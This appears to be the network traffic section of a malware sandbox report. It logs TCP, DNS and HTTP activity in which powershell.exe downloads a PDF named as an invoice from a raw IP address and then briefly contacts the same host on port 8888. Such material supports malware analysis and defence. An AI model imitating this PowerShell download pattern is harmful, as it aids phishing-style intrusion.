Jan 10, 2025 14:35:07.434303045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.434335947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.434364080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.434370995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.434406996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.434431076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.434442043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.434489012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.435091019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.435127020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.435163021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.435178041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.456811905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.456888914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.456918955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.456923962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.456969976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.457031965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457066059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457113981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.457365990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457398891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457432985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457442999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.457673073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457703114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457719088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.457736969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457771063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.457786083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.458117008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.458149910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.458173037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.458415985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.458450079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.458465099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.458482981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.458530903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.476519108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.476629972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.476639032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.476696968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.476723909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.476736069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.476792097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.477029085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477039099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477081060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.477283001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477293968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477303982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477338076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.477370024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.477583885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477596998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477607012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477618933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477632046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.477636099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.477726936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.478233099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.478276014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.509938002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510003090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510039091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510142088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.510205984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510245085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510284901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.510513067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510546923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510580063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.510581970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510637045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.510818958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510853052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510886908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.510921001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.511224031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511257887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511270046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.511293888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511343002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.511347055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511686087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511737108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.511739969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511781931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511816025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511842012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.511850119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.511893988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.512305021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512340069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512373924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512398958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.512408972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512444019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512449026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.512495995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.512545109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.513246059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513292074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513325930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513339043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.513359070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513391972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513401985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.513426065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513467073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.513469934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.514168978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514204025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514215946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.514238119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514271975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514301062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.514303923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514343977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514349937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.514379025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.514439106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.515136957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515173912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515208006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515222073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.515259027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515292883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515305042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.515361071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.515420914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.516031027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516067028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516099930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516127110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.516134024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516168118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516180038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.516202927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516237974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.516248941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.516993046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517029047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517029047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517064095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517097950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517107964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517131090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517164946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517177105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517199039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517246962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517708063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517757893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517791986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517810106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517827034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517859936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517867088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517898083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517930984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.517941952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.517966986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518009901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.518609047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518645048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518680096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518693924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.518712997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518747091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518758059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.518781900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518815041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.518826962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.519469976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519505978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.519519091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519562006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519597054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519608021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.519630909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519665003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519690037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.519699097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519732952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519747019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.519763947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.519814014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.527828932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.543489933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.543566942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.543601036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.543622017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.543859005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.543908119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.543910980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.543996096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544029951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544039011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.544461966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544493914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544508934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.544528008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544562101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544568062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.544595957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544631004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544639111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.544925928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544959068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.544965029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.563740015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.563772917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.563790083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.563874006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.563926935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.563945055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.563961029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.563975096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.564032078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.564325094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.564337969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.564368963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.564538002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.564552069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.564580917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.565733910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565746069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565757990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565768957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565783024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565787077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.565792084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.565825939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.596965075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597002029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597038031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597073078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.597083092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597099066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.597116947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597151995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597166061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.597440004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597491026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.597573996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597608089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597641945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597655058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.597676992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597711086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.597718954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.598196030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.598228931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.598246098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.598263025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.598298073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.598310947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.598332882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.598377943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.658590078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.781095028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:08.764041901 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:08.768934011 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:08.769001007 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:08.769215107 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:08.774055958 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:09.590421915 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:09.634092093 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:09.760016918 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:23.937975883 CET	51125	53	192.168.2.5	1.1.1.1
Jan 10, 2025 14:35:23.942831993 CET	53	51125	1.1.1.1	192.168.2.5
Jan 10, 2025 14:35:23.942898989 CET	51125	53	192.168.2.5	1.1.1.1
Jan 10, 2025 14:35:23.947760105 CET	53	51125	1.1.1.1	192.168.2.5
Jan 10, 2025 14:35:24.419590950 CET	51125	53	192.168.2.5	1.1.1.1
Jan 10, 2025 14:35:24.424642086 CET	53	51125	1.1.1.1	192.168.2.5
Jan 10, 2025 14:35:24.424727917 CET	51125	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:35:15.975358963 CET	64395	53	192.168.2.5	1.1.1.1
Jan 10, 2025 14:35:23.937398911 CET	53	65092	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:35:15.975358963 CET	192.168.2.5	1.1.1.1	0xe636	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:35:15.983094931 CET	1.1.1.1	192.168.2.5	0xe636	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:35:16.732672930 CET	1.1.1.1	192.168.2.5	0x2f18	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:35:16.732672930 CET	1.1.1.1	192.168.2.5	0x2f18	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6520	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:35:06.071532011 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:35:06.860563040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:35:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:35:06.861268044 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
